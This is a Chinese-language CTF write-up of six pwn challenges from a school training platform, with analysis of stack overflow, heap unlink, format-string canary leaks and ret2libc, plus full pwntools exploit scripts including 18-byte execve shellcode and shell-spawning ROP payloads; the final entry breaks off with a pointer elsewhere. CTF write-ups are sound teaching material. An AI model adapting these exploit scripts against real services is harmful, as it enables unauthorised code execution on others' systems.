0.写在前面
学校近期买了安恒的平台,但是又因为平台上的WP写的太过简略,于是这里做详细记录
1. pwn1
题目描述:8888有惊喜 难度评级:⭐ 考察分类:Steak Overflow(ret2shellcode)
这个题的难度主要在于小于20字节的shellcode的寻找
查保护,发现无保护,32位
Patch掉0x080484CF处的call eax
即可反编译
逻辑很简单,程序会call传入的内容,因此我们可以直接传入shellcode,但是程序对读入做了长度限制,我们只能传入最长不超过0x14个字符。那么直接利用shellcraft.sh()
生成的shellcode就不能用了。
找到一个可用的18 bytes的shellcode
EXP如下:
from pwn import *
import sys
context.log_level='debug'
if args['REMOTE']:
sh = remote(sys.argv[1], sys.argv[2])
else:
sh = process("./pwn_1")
payload="\x6a\x0b\x58\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
sh.sendline(payload)
sh.interactive()
print(sh.recv())
2. pwn2
题目描述:8888有惊喜 难度评级:⭐⭐ 考察分类:Heap Overflow(Unlink)
这个题的难度主要在于
查保护,发现NX保护,64位
反编译发现是列表形式的heap题目
其中在delete函数中可以明显看到存在UAF漏洞
在create函数中没有对v2做任何验证
可以看到name数组的首地址是0x6012A0
GOT表地址为0x6011F0
那么,我们可以利用-176的偏移使得*(name+(-176))指向GOT表区域,再利用UAF覆写GOT表(于是就想错了)
可以发现edit函数中没有对输入大小做限制,于是存在Heap overflow,存在Unlink漏洞
那么我们就可以覆写free的got表为目标函数的地址
EXP如下:
from pwn import *
import sys
context.log_level='debug'
if args['REMOTE']:
sh = remote(sys.argv[1], sys.argv[2])
else:
sh = process("./pwn2")
def creat(index):
sh.sendline('1')
sh.sendline(str(index))
def delete(index):
sh.sendline('3')
sh.sendline(str(index))
def show(index):
sh.sendline('4')
sh.sendline(str(index))
def edit(index,input_length,value):
sh.sendline('2')
sh.sendline(str(index))
sh.sendline(str(input_length))
sh.sendline(value)
target_addr=0x6012a0
fd=target_addr - 0x18
bk=target_addr - 0x10
fake_chunk= p64(0) # prev_size
fake_chunk+=p64(0x81) # size
fake_chunk+=p64(fd)+p64(bk)
fake_chunk+='a'*0x60 #padding
fake_chunk+=p64(0x80) # next_prev_size
fake_chunk+=p64(0x90) # next_size
creat(0)
creat(1)
edit(0,len(fake_chunk),fake_chunk)
delete(1)
payload='A'*24+p64(0x601288)+p64(0x601208)
edit(0,len(payload),payload)
payload=p64(0x4009B6)
edit(1,len(payload),payload)
delete(0)
sh.interactive()
print(sh.recv())
3. pwn1-429-begin
题目描述:nc ipaddr 8000 难度评级:⭐⭐ 考察分类:Steak Overflow(ret2libc)、格式化字符串
这个题的难度主要在于利用格式化字符串泄露Canary的值
查保护,发现Canary保护,64位
分析程序发现在get_message函数中存在格式化字符串漏洞
又发现v3也就是canary的值存放在ESP+7C的位置,于是可以使用%31$x-%32$x-%33$x-
泄露,加-
是为了获取时方便,于是就可以用s处的栈溢出覆盖返回地址,leak libc基址,进而get shell
EXP:
from pwn import *
import sys
context.log_level='debug'
# context.arch='amd64'
pwn1=ELF("./pwn1")
if args['REMOTE']:
sh = remote(sys.argv[1], sys.argv[2])
libc=ELF("/home/xiaolan/Desktop/libc/libc6_2.12.1-0ubuntu10.4_i386.so")
else:
sh = process("./pwn1")
libc=ELF("/lib32/libc.so.6")
sh.recvuntil("please enter your name:")
sh.sendline('%31$x-%32$x-%33$x-')
sh.recvuntil("Welcome to participate the 429 ctf!\n")
canary_1=int(sh.recvuntil('-').strip('-'),16)
canary_2=int(sh.recvuntil('-').strip('-'),16)
canary_3=int(sh.recvuntil('-').strip('-'),16)
payload='A'*0x64+p32(canary_1)+p32(canary_2)+p32(canary_3)+'AAAA'+p32(pwn1.plt['puts'])+p32(0x0804851D)+p32(pwn1.got['puts'])
sh.recvuntil("can you leave me some messages:")
sh.sendline(payload)
puts_addr=u32(sh.recv()[0:4])
log.success("We get puts address :"+hex(puts_addr))
libc_base=puts_addr-libc.symbols['puts']
log.success("We get libc base address :"+hex(libc_base))
system_addr=libc_base+libc.symbols['system']
binsh_addr=libc_base+libc.search('/bin/sh').next()
sh.sendline('%31$x-%32$x-%33$x-')
sh.recvuntil("Welcome to participate the 429 ctf!\n")
canary_1=int(sh.recvuntil('-').strip('-'),16)
canary_2=int(sh.recvuntil('-').strip('-'),16)
canary_3=int(sh.recvuntil('-').strip('-'),16)
payload='A'*0x64+p32(canary_1)+p32(canary_2)+p32(canary_3)+'AAAA'+p32(system_addr)+p32(0x0804851D)+p32(binsh_addr)
sh.recvuntil("can you leave me some messages:")
# gdb.attach(sh)
sh.sendline(payload)
sh.interactive()
print(sh.recv())
**这里要说一下的是我在打远端的时候,失败了,应该是libc版本问题,因此在实际使用时请注意libc文件版本
4. pwn1-429-last
题目描述:nc ipaddr 8000 难度评级:⭐ 考察分类:Steak Overflow(ret2libc)
这个题的难度主要在于寻找漏洞点(其实没啥难点。。。。。)
查保护,发现NX保护,32位
容易分析出ShowInfo函数中存在strcpy危险函数,并且同样对参数长度没有做判断
于是就是超级简单的一波ret2libc
EXP如下
from pwn import *
import sys
context.log_level='debug'
# context.arch='amd64'
pwn1=ELF("./pwn1")
if args['REMOTE']:
sh = remote(sys.argv[1], sys.argv[2])
libc=ELF("/home/xiaolan/Desktop/libc/libc6_2.19-0ubuntu6.14_i386.so")
else:
sh = process("./pwn1")
libc=ELF("/lib32/libc.so.6")
payload='A'*0x88+'AAAA'+p32(pwn1.plt['puts'])+p32(0x080485FD)+p32(pwn1.got['puts'])
sh.recvuntil("input your name:")
sh.sendline(payload)
sh.recvuntil(":")
sh.sendline('1')
sh.recvuntil('\x0a')
puts_addr=u32(sh.recv()[0:4])
log.success("We get puts address :"+hex(puts_addr))
libc_base=puts_addr-libc.symbols['puts']
log.success("We get libc base address :"+hex(libc_base))
system_addr=libc_base+libc.symbols['system']
binsh_addr=libc_base+libc.search('/bin/sh').next()
payload='A'*0x88+'AAAA'+p32(system_addr)+p32(0x080485FD)+p32(binsh_addr)
sh.sendline(payload)
sh.recvuntil(":")
sh.sendline('1')
sh.interactive()
print(sh.recv())
这里要说一下的是我在打远端的时候,失败了,应该是libc版本问题,因此在实际使用时请注意libc文件版本**
5. pwn2-429-begin
题目描述:nc ipaddr 8000 难度评级:(和pwn1-429-begin一样,无难度) 考察分类:Steak Overflow(ret2libc)
查保护,发现NX保护与Canary保护,32位
分析发现。。。。极为的眼熟。。。至于眼熟在哪。。。我也不大清楚。。。。
然后就直接用pwn1-429-begin的EXP脚本试了一下。。。
出一样的题有意思吗。。。。。还是我把pwn1-429-begin做出了非预期?????
6. pwn2-429-last
题目描述:nc ipaddr 8000 难度评级:⭐⭐⭐⭐ 考察分类:Steak Overflow(静态编译)
查保护,发现NX保护与Canary保护,32位
这个题我要详细写一个WP,请移步